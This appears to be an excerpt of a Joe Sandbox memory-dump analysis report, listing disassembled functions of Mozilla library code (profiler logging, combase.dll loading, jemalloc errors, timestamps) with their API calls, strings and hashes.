API ID: Current$ThreadTimegetenv$ExclusiveLockProcessStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@_
String ID: [I %d/%d] profiler_stream_json_for_this_process
API String ID: 2359002670-141131661
Opcode ID: 339ca0d74215f9fe0e930e0f493cd7d69520a967169d5ff89d3b9087f3854a1e
Instruction ID: 31c9cae7c7e64ef62ef45e37da506f6a3aff2bd5ae6543584015cfd3f5e06ea8
Opcode Fuzzy Hash: 339ca0d74215f9fe0e930e0f493cd7d69520a967169d5ff89d3b9087f3854a1e
Instruction Fuzzy Hash: 8F010875A281349BDB206F2995086E937B8EF4721CF240526ED8A53B01C7BC5804C6B1

Function 6C8B1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8DAB89: EnterCriticalSection.KERNEL32(6C92E370,?,?,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284), ref: 6C8DAB94
Part of subcall function 6C8DAB89: LeaveCriticalSection.KERNEL32(6C92E370,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8DABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C8B1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C8B1FFD
__Init_thread_footer.LIBCMT ref: 6C8B2011
FreeLibrary.KERNEL32 ref: 6C8B2059

Strings

combase.dll, xrefs: 6C8B1FD9
CoCreateInstance, xrefs: 6C8B1FF7

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: f2a9098fadcf7fda66bf313331eeaadf88f800c7994fcea871b0ecc4c8ff467f
Instruction ID: c913ebab5a471dad1a21d008575d775a95029608b94e272c2a2f2e77ea3b1366
Opcode Fuzzy Hash: f2a9098fadcf7fda66bf313331eeaadf88f800c7994fcea871b0ecc4c8ff467f
Instruction Fuzzy Hash: 54118174219255EFDF20CF15CA4CEAA3B79EB86369F204425F94592740C73DD815CFA1

Function 6C8B0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8DAB89: EnterCriticalSection.KERNEL32(6C92E370,?,?,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284), ref: 6C8DAB94
Part of subcall function 6C8DAB89: LeaveCriticalSection.KERNEL32(6C92E370,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8DABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C8DD9F0,00000000), ref: 6C8B0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C8B0F3C
__Init_thread_footer.LIBCMT ref: 6C8B0F50
FreeLibrary.KERNEL32(?,6C8DD9F0,00000000), ref: 6C8B0F86

Strings

combase.dll, xrefs: 6C8B0F18
CoInitializeEx, xrefs: 6C8B0F36

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 8bae623da0c55e6904ac0d9f3b571f9932beae8ccad9bee973108d197dbed023
Instruction ID: 9b3625a298093a7412161562c8c635bfba850b543741dcdde92242681de93e93
Opcode Fuzzy Hash: 8bae623da0c55e6904ac0d9f3b571f9932beae8ccad9bee973108d197dbed023
Instruction Fuzzy Hash: 791186B47192519BDF10CF68CB08E693BB4FB8A32AF204629E985A2781D73CE405CB55

Function 6C8B62E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8DAB89: EnterCriticalSection.KERNEL32(6C92E370,?,?,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284), ref: 6C8DAB94
Part of subcall function 6C8DAB89: LeaveCriticalSection.KERNEL32(6C92E370,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8DABD1

LoadLibraryW.KERNEL32(combase.dll), ref: 6C8B631B
GetProcAddress.KERNEL32(00000000,CoUninitialize), ref: 6C8B633A
__Init_thread_footer.LIBCMT ref: 6C8B634E
FreeLibrary.KERNEL32 ref: 6C8B6376

Strings

combase.dll, xrefs: 6C8B6316
CoUninitialize, xrefs: 6C8B6334

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoUninitialize$combase.dll
API String ID: 4190559335-3846590027
Opcode ID: 9f09d98495c2fcc98c2fa15902fd4b42ca0179fb7f6701acee3d3587c01a7086
Instruction ID: 655b8e6af32e4cbbdfbc865077d7a62a4ae960cb15c613429a8bf4230e6a8180
Opcode Fuzzy Hash: 9f09d98495c2fcc98c2fa15902fd4b42ca0179fb7f6701acee3d3587c01a7086
Instruction Fuzzy Hash: B5014C74629211CBEF24CF28DA58E6477B0BB0A21DF244929DA82D3B80D738E445CF51

Function 6C8EF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8B4A68), ref: 6C8E945E
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E9470
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E9482
Part of subcall function 6C8E9420: __Init_thread_footer.LIBCMT ref: 6C8E949F

GetCurrentThreadId.KERNEL32 ref: 6C8EF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8EF561

Part of subcall function 6C8E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8E94EE
Part of subcall function 6C8E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C8E9508

GetCurrentThreadId.KERNEL32 ref: 6C8EF577
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EF585
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EF5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C8EF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C8EF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C8EF499
[I %d/%d] profiler_resume, xrefs: 6C8EF239

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 356bf0d673a381959bbafa98c68e7daa0b7cf2eada889e31b11f35354877d681
Instruction ID: 5ee649cd1a3603e27433b269b04e27739ad329408d3df5ae5f4ae8683e720c3f
Opcode Fuzzy Hash: 356bf0d673a381959bbafa98c68e7daa0b7cf2eada889e31b11f35354877d681
Instruction Fuzzy Hash: 3AF0B4B56142009BDB106F68E84C99A77BCEB8A26DF200425EA8683701CBB99804C7B0

Function 6C8EF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8B4A68), ref: 6C8E945E
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E9470
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E9482
Part of subcall function 6C8E9420: __Init_thread_footer.LIBCMT ref: 6C8E949F

GetCurrentThreadId.KERNEL32 ref: 6C8EF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C8EF598), ref: 6C8EF621

Part of subcall function 6C8E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8E94EE
Part of subcall function 6C8E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C8E9508

GetCurrentThreadId.KERNEL32 ref: 6C8EF637
AcquireSRWLockExclusive.KERNEL32(6C92F4B8,?,?,00000000,?,6C8EF598), ref: 6C8EF645
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8,?,?,00000000,?,6C8EF598), ref: 6C8EF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C8EF62A

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 150c59d3a46ce74906439357f0d22010174a5f5e45913b978183ff795214ceea
Instruction ID: b3d86be9d9149b42a0699c74ba91482acff084bd98fbc3856a2e04907377f9c8
Opcode Fuzzy Hash: 150c59d3a46ce74906439357f0d22010174a5f5e45913b978183ff795214ceea
Instruction Fuzzy Hash: 24F0B4B5224200ABDB106B68D84C99A77BCEBCA26DF200421EA8683741CBBD5C0587B0

Function 6C8B0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C8B0DF8), ref: 6C8B0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C8B0EA1
__Init_thread_footer.LIBCMT ref: 6C8B0EB5
FreeLibrary.KERNEL32 ref: 6C8B0EC5

Strings

kernel32.dll, xrefs: 6C8B0E7D
GetProcessMitigationPolicy, xrefs: 6C8B0E9B

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: a06c0b99850f0bc95b68e0878b27026a21564a9f899940d15ab02d75f37c0287
Instruction ID: b4665f6eedc368c5d2293de45f3d6b9751aff5af255e44a5d089a1f489b143fa
Opcode Fuzzy Hash: a06c0b99850f0bc95b68e0878b27026a21564a9f899940d15ab02d75f37c0287
Instruction Fuzzy Hash: 190128B4A287959BDB208FA8CB94B4237B9E746B1DF300925ADC1A2B40D738F4058A41

Function 6C8E05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C8DCFAE,?,?,?,6C8A31A7), ref: 6C8E05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C8DCFAE,?,?,?,6C8A31A7), ref: 6C8E0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C8A31A7), ref: 6C8E061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C8A31A7), ref: 6C8E0627

Strings

<jemalloc>, xrefs: 6C8E05FA, 6C8E060F
: (malloc) Error in VirtualFree(), xrefs: 6C8E061B, 6C8E0625

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: b371c5156c2b275693d6a25e123f4d08f4a8e9cb6a93612a09971f5547a55449
Instruction ID: 02c6472f0eb49e697537fc9982f61bd6c34d03702e11a97da680f9e393586d24
Opcode Fuzzy Hash: b371c5156c2b275693d6a25e123f4d08f4a8e9cb6a93612a09971f5547a55449
Instruction Fuzzy Hash: 0AE08CE2A0505437F6142256BC86DBB765CDBD6134F080039FD0D82B01E94AED1A91F6

Function 6C8F9240 Relevance: 9.3, APIs: 6, Instructions: 289timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8F9BAE
free.MOZGLUE(?,?), ref: 6C8F9BC3
free.MOZGLUE(?,?), ref: 6C8F9BD9

Part of subcall function 6C8F93B0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8F94C8
Part of subcall function 6C8F93B0: free.MOZGLUE(6C8F9281,?), ref: 6C8F94DD

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: f0fe625c00a6c9f3e457e2b33b5d57e87b2e8f27789eec90e0bcb2f03d5c3767
Instruction ID: e19cdb59d2e9822e50e53ff2a0ecc43461694f48a09c35a153a502b24960855a
Opcode Fuzzy Hash: f0fe625c00a6c9f3e457e2b33b5d57e87b2e8f27789eec90e0bcb2f03d5c3767
Instruction Fuzzy Hash: F6B1AF71A047058BCB21CF5CC58059EF3F5BFC9328F144A29E869AB740EB31E946CB92

Function 6C8B05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b9f3a50b04eb7a63fcc195eba92776583bac4aeaa1c58e636a367dab758256a
Instruction ID: cba1d8045c10dc2733eb34694331dd2a2604432b7de48581bcbe7378b332edb4
Opcode Fuzzy Hash: 6b9f3a50b04eb7a63fcc195eba92776583bac4aeaa1c58e636a367dab758256a
Instruction Fuzzy Hash: B5A14AB0904755CFDB24CF29C694A99FBF1BF49304F548A6ED48AA7B00D731A945CF90

Function 6C8E71A0 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 6C8E6060: moz_xmalloc.MOZGLUE(00000024,8E2CED77,00000000,?,00000000,?,?,6C8E5FCB,6C8E79A3), ref: 6C8E6078

free.MOZGLUE(-00000001), ref: 6C8E72F6
free.MOZGLUE(?), ref: 6C8E7311

Strings

333s, xrefs: 6C8E7226
Copied unique strings, xrefs: 6C8E7320
Spliced unique strings, xrefs: 6C8E7340
333s, xrefs: 6C8E731B

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: 333s$333s$Copied unique strings$Spliced unique strings
API String ID: 3009372454-760240034
Opcode ID: 95920380d895a8d3f6b2c2f02009fbe90707a161f1e2b291a9c6eb951ec1c698
Instruction ID: c7b7a50934940e1f8fa4eeecea1fb9aa9c900e4c4ec5dab63b8b1d9a00b7ad55
Opcode Fuzzy Hash: 95920380d895a8d3f6b2c2f02009fbe90707a161f1e2b291a9c6eb951ec1c698
Instruction Fuzzy Hash: 26719471F002198FDB18CF69D99069EB7F2AF99308F25852DD80AA7711DB31E946CB81

Function 6C9014A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9014C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9014E2
GetCurrentThreadId.KERNEL32 ref: 6C901546
InitializeConditionVariable.KERNEL32(?), ref: 6C9015BA
free.MOZGLUE(?), ref: 6C9016B4

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 5fb653527bb7a28f8ae7e51c75ef2485d0de5e6fd6f0db6a2764c52d64785b4c
Instruction ID: a22052a708e7d3a3fa69a25f19ad49b55f82303a7fe3ec36a67f850174c88f6f
Opcode Fuzzy Hash: 5fb653527bb7a28f8ae7e51c75ef2485d0de5e6fd6f0db6a2764c52d64785b4c
Instruction Fuzzy Hash: 46610331A04754DBDB218F24C880BDEB7B4BF8A308F04892CED8A57711DB35E989CB91

Function 6C8FC160 Relevance: 9.2, APIs: 6, Instructions: 174COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C8FC1F1
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C8FC293
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C8FC29E

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: fgetc$memcpy
String ID:
API String ID: 1522623862-0
Opcode ID: 3dee7b001c976a3ccb6fb2b35c8387a84511ae6dc95c97783fc66818b6d88a97
Instruction ID: 99e3bdfab1ea343d1ea30c6894222d6bbef92554725e880cb0634954482c28dc
Opcode Fuzzy Hash: 3dee7b001c976a3ccb6fb2b35c8387a84511ae6dc95c97783fc66818b6d88a97
Instruction Fuzzy Hash: BE61DF71A04218CFCF34DFA8C9805AEBBB5FF49354F154929E862A7751C731AA46CFA0

Function 6C8F9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8F9FDB
free.MOZGLUE(?,?), ref: 6C8F9FF0
free.MOZGLUE(?,?), ref: 6C8FA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8FA0BE
free.MOZGLUE(?,?), ref: 6C8FA0D5
free.MOZGLUE(?,?), ref: 6C8FA0EB

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 109bffe942c42667f81921c14e516a678d65ce6ce9b884154247d3ffe2a36584
Instruction ID: f39d2dd42e4f55726215175454c28334cc5fcfeb26c8fee26d7bafe948a7c2a9
Opcode Fuzzy Hash: 109bffe942c42667f81921c14e516a678d65ce6ce9b884154247d3ffe2a36584
Instruction Fuzzy Hash: 666182755087419FC721CF18C58059AB3F5FFC8368F544A69E8699B702E732E986CBC2

Function 6C8FDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8FDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C8FD38A,?), ref: 6C8FDC6F
free.MOZGLUE(?,?,?,?,?,6C8FD38A,?), ref: 6C8FDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C8FD38A,?), ref: 6C8FDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C8FD38A,?), ref: 6C8FDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C8FD38A,?), ref: 6C8FDD4A

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 9c1d6165322549f82d5283cbe997d0bebde5a7ad204d444d795bb1bbebd44d28
Instruction ID: d7fa051dfb66bbf097abf806a2d4d23de3147c3573e473edc91c422b32e10897
Opcode Fuzzy Hash: 9c1d6165322549f82d5283cbe997d0bebde5a7ad204d444d795bb1bbebd44d28
Instruction Fuzzy Hash: A6418DB5A00305CFCB10CF99C98099AB7F5FF88314B66496ADA56ABB10D731FC01CBA0

Function 6C8E6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C8DFA80: GetCurrentThreadId.KERNEL32 ref: 6C8DFA8D
Part of subcall function 6C8DFA80: AcquireSRWLockExclusive.KERNEL32(6C92F448), ref: 6C8DFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8E6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C8E67C8

Part of subcall function 6C8F4290: memcpy.VCRUNTIME140(?,?,6C902003,6C900AD9,?,6C900AD9,00000000,?,6C900AD9,?,00000004,?,6C901A62,?,6C902003,?), ref: 6C8F42C4

Strings

data, xrefs: 6C8E6593

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

